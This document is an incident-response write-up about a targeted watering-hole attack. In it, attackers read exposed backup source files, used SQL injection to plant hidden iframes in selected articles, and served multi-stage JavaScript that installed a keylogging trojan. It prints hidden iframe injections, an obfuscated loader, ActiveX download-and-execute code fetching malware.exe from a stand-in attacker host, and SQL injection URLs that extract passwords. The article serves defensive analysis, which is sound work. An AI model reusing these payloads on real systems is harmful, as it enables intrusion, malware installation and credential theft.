Note: Details in this article, such as methods, dates, times, IP addresses, code, and elements of the attack have been modified, deleted or altered to protect sensitive aspects of this case.

More often than not, we expect attackers to follow a path that reflects a preconceived notion of how we think they will behave. As mammals, we tend to fear what we can see, and with cyber security, it is difficult to visualize or even imagine what an attacker can do or even how patient or sophisticated they can be. Furthermore, we may dismiss what could be deemed as too complicated and/or implausible. For example, when the Internet became commonplace 15 years ago, SQL injection attacks were unknown, before that buffer overflows attacks were also unknown, before that wardialing way unknown. We now take them for granted, but then we either didn't imagine they could occur, or we dismissed them as not credible.

With cyber attacks, the issue of imagination is especially important when considering how to better protect information, personnel and assets. If it is possible, not just plausible, then the attack can happen when an attacker has the resources, time, knowledge, and motivation. Approximately five years ago, we were tasked with responding to an incident involving the compromise of a high value trusted asset by a very clever group of attackers. The methods the attackers used were outside the realm of what the victims expected, and they were compromised as a result.

The Malware

Several government users reported that when they visited a trusted website, their antivirus programs would sometimes detect that malware was being served up from the trusted site. Help desks and security teams experienced some trouble duplicating the occurrence. The malware seemed to come and go, and at times, it appeared that the malware was being served up by this site, and yet sometimes it was not the case. And to make matters worse, the malware could not be found on the trusted site nor any of its support systems. Our investigation discovered the trusted website was serving up an iframe pointing to a site in China which was serving up the malware. iframe stands for “inline frame,” which allows one website to be loaded up inside another website. This method is commonly used for referencing other sites, including elements such as books, that may be related to a webpage and other cases where framing another site's content would create a more integrated experience for the users.

First mystery solved: the iframe URL was serving up the trojan – not the trusted website. The malware was also so new, or “zero day” that antimalware signatures were just barely keeping up which also explained why it was hard to detect even on the desktops. The attackers were also changing the malware to keep up with the anti-malware signature writers, sometimes it was detected on the effected desktops by anti-malware, and sometimes it was so new that it couldn't be detected via traditional means. This fully explained why the trusted website's administrators did not detect any malware on their systems because there was no malware on their systems and why end user security teams were equally flummoxed. The malware was changing, was being served up by another site, and the trusted websites pages were simply “framing” the malware via the iframe to the attackers webcontent which included the actual malware.

Mobile Malware

Another puzzling aspect of the effected end users experience was that the malware iframe wasn't universally occurring across the trusted website and the URLS reported by the end users didn't always serve up the malware because the malware was moving. On further inspection, we determined that only certain articles on this dynamic site were serving up these iframes, and that some of them were no longer serving up the malware. After looking into the infected website's databases we determined that the bad guys had modified the subject lines of a few articles from something innocuous: “Cheese cake takes good” to “Cheese case tastes good <iframe src=http://badguy.site1.com/trojan.html> width=0 heigth=0 style=visibility:hidden </iframe>.” We also only found the iframe on four articles on the trusted website.

The iframe itself was also very simple, included no actual trojan code, and caused the victims web browser to silently download the actual trojan from the attackers website: badguy.site1.com. The “trojan.html” file (not the real name) contained trojan javascript which then caused the browser to execute the javascript commands. The attacker's javascript then went out a yet another website, a second attacker's website, to download the zero-day executable trojan which then took control of the real victim's computer. The javascript looked something like this (we have modified the original payload due to the sensitivity of the incident):

*<script>eval(unescape("window.status='Done';document.write('<iframe name=4a79833f3219 src='http://badguy.site2.org/second_payload.js' Math.round(Math.random()*19642) 'e98cac' width=0 height=0 style='display: none'></iframe>')")); </script>*

As you can see, the javascript told the victims browser to grab another piece of javascript, second_payload.js (also not its real name) from another website. That code did the heavy lifting, installed the malware, and told it to execute. The payload of the final element of the attack on the victims desktop looked like this:

```
<script>
t="60,115,99,114,105,112,116,32,108,97,110,103,118,97,103,
101,61,106,97,118,97,115,99,114,105,112,116,62,13,
10,118,97,114,32,117,114,108,44,112,97,116,104,44,118,97,114,49,44,118,97,
114,50,44,118,97,
[many more lines of numbers]
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>
```

This code looks like jibberish, because it is supposed to so so . It is obfuscating the actual trojan attack, more than likely to get around the real victims' antivirus and the IDS/IPS systems. The real victim's browser then decodes the javascript in memory and executes it. The decoded the javascript looks like this (we have modified this code based on the sensitivity of the case):

```
<script language=javascript>
var url,path,var1,var2,var3,var4;
url="https://badguy.site3.com/malware.exe";
path="C:\windows\IsUno999.exe";
var var1="Microsoft.xmlhttp";
var var2="Adodb.Stream";
var var3="Shell.Application";
var var4_1="clsid:BD96C556-65A";
var var4_2="3-11D0-983A-00C04FC29E36";
var var4=var4_1+var4_2;
try{var ado=(document.createElement("object"));
ado.setAttribute("classid",var4);
var xml=ado.CreateObject(var1,"");
var as=ado.createobject(var2,"");
xml.Open("GET",url,0);
xml.Send();
as.type=1;as.open();
as.write(xml.responseBody);
as.savetofile(path,2);
as.close();
var shell=ado.createobject(var3,"");
shell.Shell(path,"","","open",0);}catch(e){};
</script>
```

The malware javascript then uses XMLRPC on the real victim's machine to download the actual trojan, malware.exe, from attackers trojan hosting site: badguy.site3.com. Notice that the attackers used SSL to down the trojan, again a subtle but powerful innovation on their part to get around web based antivirus products and IDS/IPS systems. The malware javascript then saved malware.exe to the real victim's hard drive, installed it into c:Windows and then used an

ActiveX object to execute the malware. That executable was yet another tool the attacker could use to download other applications. When we tested it in a sandbox, it hooked the local keyboard and began recording keystrokes, and then logged into a fourth site to check in for new commands. The trojan then downloaded yet more malware onto the sandbox's research image. This was one very versatile trojan.

A multi-stage, mobile trojan payload composed of a simple iframe on the trusted website to instruct the victim's browser to frame a small piece of javascript. The javascript then instructed the victim's browser to to download the trojan itself from yet another website, and to then pull down yet another web component before finally instructing the victim's machine to download the final trojan to take control of the real victim's machines. This is something that we now see a lot of of but at the time, this was so brand new that nothing was detected nor was there anything in place to protect against this.

Penetrating the Trusted Website

If you recall, we only saw the iframes on specific articles, which showed some level of targeting. The attackers added in the iframe by using a SQL injection hole in the trusted websites Content Management System. For those who may not be famililiar with SQL injection attacks, they work by feeding an application raw SQL commands, either on the URL line itself, in one of the variables, or headers trusted by the web application. Surprisingly, many, far too many applications completely trust input from outside users, and do not check to make sure that input is valid. For example, applications may not check to ensure that an integer is an integer, or that input does not contain commands or metacharacters that might allow a command to “escape” the program and execute.

During our investigation, we were able to determine that the attackers were able to feed the SQL injection to the trusted websites database server directly through a URL. It is important to note that no fancy variable manipulation was required. Here is the actual attack, which was partially obfuscated via hexidecimal by the attackers presumably to bypass Intrusion Detection and Prevention systems. We've modified the hex here to gibberish to to protect the identity of the trusted website:

1.2.3.4 - - [15/Jul/2004:12:16:01 -0400] "GET /application.php?document=12345;declare%20@q%20varchar(12345);set%20@q=0x[HEX PAYLOAD];execute(@q)-- HTTP/1.1" 200 181 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.1.4) Gecko/20040515 Firefox/2.0.0.4"

To break this down, this is what the attack looks like decoded into ASCII:

declare @q varchar(12345);set @q=HEX_PAYLOAD;

The Hex payload when decoded into ASCII translates into this SQL injection attack payload:

update some_table set title=title + '<iframe src=http://badguy.site1.org/trojan.html width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>' where article=12345

And the last part of the payload includes the SQL instructions to execute the injection:

execute(@q)--

This is a classic SQL injection payload that instructs a Microsoft SQL server, which was the database backend for the trusted website, to update a title line by including the previous title and to also add the iframe payload:

set title = title + '<iframe src=http://badguy.site1.org/trojan.html width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'

A simple, elegant and lightweight attack on the trusted website. The iframe line creates the linkage that instructs the real victims browser to execute the javascript in the "trojan.html" file. The victim is left unaware of this because the dimensions of the iframe are set to 0x0, and the style is set to "hidden" and the payload is basically innocuous, rather than pointing to a website that hosts malware so the trusted website is less likely to detect anything being wrong.

The second element in the SQL injection attack, "where articleid=12345," instructs the database to only change the title for article number "12345". So if the title of the article was *"Its a nice day out,"* the new title would be
"Its a nice day out '<iframe src=http://badguy.site1.org/javascript_malware.html width=0 height=0></iframe>'"
and only a single article in the entire site is affected.

This begs the question, why would the attackers only modify a single articles title? After some more investigating, we discovered how the attackers targeted a few select articles through specific authors. They searched the trusted websites database and picked a tiny of fraction of

articles by those authors – only four articles – out of hundreds of thousands of articles by hundreds of authors. This runs counter to the most obvious attack methodology the attackers could have used: why not just modify all the articles? This would have been much much easier and far more effective at targeting more visitors to the website, unless the attackers intended to target specific “final” victims. Perhaps the attackers knew something about the real victims they wanted to target and compromise. Based on this question, we dove deeper into the forensics analysis of the systems logs to see if we could find a pattern.

Deep Dive

We went back overt the data on the trusted websites sites and found that over a period of months the attackers searched via google to find articles written by specific authors, grabbed information about the trusted website and then targeted specific topics by those authors. This implies that the attackers may have targeted other websites and the trusted website we investigated was just one piece on a large mosaic of sites they compromised to target the real intended victim. If you consider that tiny scope of articles targeted and the sheer amount of time used to pull off the attack it implies the overall attack against the real victims should be larger, or its well and truly that specifically targeted. Either way this implies a high level of sophistication at work.

To determine what was happening, we began to look for evidence of reconnaissance to find articles by the authors, to probe the site, and anything else that might explain the attackers strange modus operandi. With that in mind, we found examples of the attackers using google to find articles by the authors by their email addresses :

1.2.3.4 - - [01/Aug/2004:13:46:35 -0400] "GET /foobar.12345/authors.php HTTP/1.1" 200 36263 "http://www.google.ro/search?hl=es&q=author%40EXAMPLE.COM&btnG=C%C4%83utare&meta=" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.4) Gecko/20040515 Firefox/1.0.0.4"

1.2.3.5 - - [03/Aug/2004:03:20:05 -0400] "GET /foobar.12345/authors.php HTTP/1.0" 200 36263 "http://www.google.com/search?q=author%40EXAMPLE.COM&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:zh-CN:official&client=firefox-a" "Mozilla/4.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.6) Gecko/20040725 Firefox/2.0.0.6"

At this point, the attackers had mapped out the content written by these authors, yet they had not compromised the trusted website. The next few steps used by the attackers were truly enlightening about the targeted nature of their attack.

Recon of the Trusted Website's Code

We discovered that the attackers came back to the trusted website and began looking for information about how the website functioned. The vendor and support contractors for this website used a typical technique to backup changes to their code when their made on the fly updates to the websites ASP code. They simply copied older versions of the websites code to ".bak" files. For example, if a developer had a file called "authors.asp" and wanted to update the code they copied the older file to "authors.asp.bak". IIS is helpful to the attacker in this case. If an attack requests a file called ".bak," the file is not processed by IIS as an ASP. Instead, the file is treated as text, and the ASP code is presented to the attacker instead of being processed by IIS. This allows the attacker see the raw code and learn how the site works, what variables the database takes and most importantly how trusting the application is of inputs. This basically tells the attacker everything they need to know to attack the website. The badguys now have their way in. Here are some example cases:

Attacker downloading the backup files months before the attack:

1.2.3.4 - - [01/Jun/2004:01:14:03 -0400] "GET /articles.php.bak HTTP/1.1" 200 39860 "" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.4) Gecko/20040515 Firefox/1.0.0.4"

1.2.3.4 - - [01/Jun/2004:01:14:09 -0400] "GET /authors.php.bak HTTP/1.1" 200 39860 "" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.4) Gecko/20040515 Firefox/1.0.0.4"

Reconnaissance In Force

Once the attackers had mapped the vulnerabilities in the website, passively by just looking at the vulnerabilities in the ASP code, they then conducted a reconnaissance in force.
With knowledge in hand about the trusted website's code, the attackers then found vulnerabilities in the site by analyzing the code they and used those holes to perform a reconnaissance in force through SQL injection attacks. Instead of just infecting the entire website, they began to look for the specific articles and content that their real victims would read. They used a simple SQL "select" command to ask the trusted website for the articles written by specific authors. In the example below, we show one such case for one such example author:

1.2.3.6 - - [11/Aug/2004:04:34:53 -0400] "GET /articles/subject_list.php?id=12345%20and%20(select%20top%201%20''%20%2b%20convert(char,userpassword)%20%2b%20'*'%20from%20user%20where%20userlogin='author@INNOC*

ENT.COM')%3E0-- HTTP/1.1" 500 390 "-" "Mozilla/4.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.1.6) Gecko/20040725 Firefox/1.0.0.6"

Once again, there is an element of encoding used by the attacker. However, in this case, the encoding isn't to specifically hide the attack, although it does to some extent but mainly due to the nature of attack vector and the need to make it work in all cases. With that said, this is what the decode content looks like:

GET /articles/subject_list.php?id=12345 and (select top 1 '' + convert(char,userpassword) + '*' from user where userlogin='author@EXAMPLE.COM')>0--*

In SQL terms the real request looks like this:

(select top 1 '' + convert(char,userpassword) + '*' from user where userlogin='author@EXAMPLE.COM')>0--*

This is a search for all articles in the database published by the author with the e-mail address of “author@EXAMPLE.COM.” With this information, the attackers had hundreds of articles to choose from and came back a few days later and picked only four.

Surveillance of the Victim

The final element of the attack was to monitor the real victim. The attackers then added in several SQL triggers and their own table to track accesses to these articles. We are leaving out that code because of certain sensitive elements in this attack vector. Our attackers then queried for specific IPs and other information about the reader, including the web browser and language to build a multi-dimensional profile of the reader. In short, this was done to profile the reader. Four articles plus targeting of the reader created a profile that allowed for a highly targeted attack on the real victim.

Mobile Malware Part 2: Nail in the Coffin of Denial

The last piece of the puzzle was finding proof that the attackers moved the iframes. Upon analysis of who was reading the articles, we found cases where the attackers would pull the logs detailing profile information about the articles readers and would then remove the iframes and put them on other articles. In short, the attackers created their own content profiling table to do an indepth analysis of the demographics of the reader. Upon learning that their iframes were

not targeting the correct users, or perhaps the trojans had not in fact infected the correct real victims, they removed the iframes from some of the articles, and put them on new articles. Game set and match: A pin point targeting of specific users based on feedback. This was an almost a perfect stalking of the target via a dialing in and a sniper level cyber attack on the real victim: Hard core.

Recap of the Attack

Let's recap what occurred: the attackers went looking for articles written by specific authors via Google. Upon the discovery of a website with the author's articles, they found backup files of the ASP code on that website. After examining the backup copies of the code for the website for vulnerabilities, they came back and used those holes in the site to map out all the content written by those authors. They then selected specific articles written by those authors, added in a multi-stage iframe based trojan into the dynamic content, and also added in code to the website to track who accessed the content. The attackers then tuned the attack based on this changing information and added the iframe trojans to other articles while removing iframes from articles that apparently did not achieve the desired result. The attackers left certain articles alone, added new target articles (no more than three) and deleted a handful of others from the attack space.

This one case epitomizes the very definition of a targeted attack. It is methodical, slow, precise, and the “aim” is adjusted based on feedback from the trusted website itself. All of this may be considered by some to be simply hypothetical. Nevertheless, it happened and the methods were hardly beyond the capabilities of a moderately capable system engineer with malicious intent. The attackers simply used the vectors available and carried out a complex and targeted attack that penetrated multiple systems in a highly effective manner.

Conclusion: Don't admire the problem

Based on the body of knowledge we have now, we can say that this was not a SQL injection bot, the process was methodical, highly targted and the iframes were moved by the attacker over a period of days. It was too slow to be a bot, therefore this was a series of human actions. These attackers used multi-dimension attacks, multiple hosts, multiple stages including reconnaissance and subtle methods of exact targeting on the victims they wanted to hit. This was what we now call “spear phishing” except on a very complex scale and via a more effective vector. The attackers would not likely succeed via e-mail, a vector that at even that time was fairly well defended but instead used the web vector which was not well protected - particularly on the desktop and took advantage fundamental vulnerabilities in Internet Explorer and Windows.

Attackers are just as smart as the defenders except that attackers are not limited by engineering and organization constraints. An attacker does not need to worry if an action is going to interfere with normal user activities. An attacker does not have to be concerned if an action is going to prevent their organization from carrying out its mission. Defenders have to not only consider this, but may be required to not take action because of these issues. The attacker has the upper hand and we must never forget this. Just because we can not defend against an attack does not mean we should dismiss it as improbable.

The bottom line is to not admire the problem. If you want to stop attacks like this, one must think like an attacker, learn about the problem, and vigorously develop a solution. Learn to defend your systems by learning to break into them. In the specific case we explored, how would you defend your systems? From the perspective of the trusted website, it's actually pretty simple: protect your websites from untrusted input. And in this case, we did that by deploying a web application firewall with strict mandatory input filters combined with a real time redaction system to temporarily remove the iframes while we were conducting our investigation.

On the end user side, defending against hostile scripting languages and mobile code is fairly straight forward: do not trust code except from trusted sites. Javascript is a powerful tool for attackers to take over your desktops. If you want to defend yourself from scripting based attacks, then you need to use a “deny all, and allow by exception” model. One example is the “noscript” extension for Firefox. This tool denies all scripts from runninging by default: Java, Flash, Javascript, etc. are all blocked from running. If you want to allow mobile code from a site, you have to explicitly allow it. In the case of the attack we investigated, our systems we immune to the attack because we used Firefox with Noscript. In fact, we were able to find the iframe vector immediately based on this security model. When we went to the trusted website, Noscript told us that there was code on the trusted website that we did not trust and detailed exactly where it was from. So, we were both protected and aware of the risk before it could ever harm our systems.

The solutions to these problems are out there and readily available to use and these are only examples. It just takes some imagination, a willingness to think hypothetically and an attacker's perspective to recognize where a few simple improvements to the security model can pay real dividends. The attackers are certainly thinking this way and defenders must think and act this way as well. Think like the enemy and you can defend against them.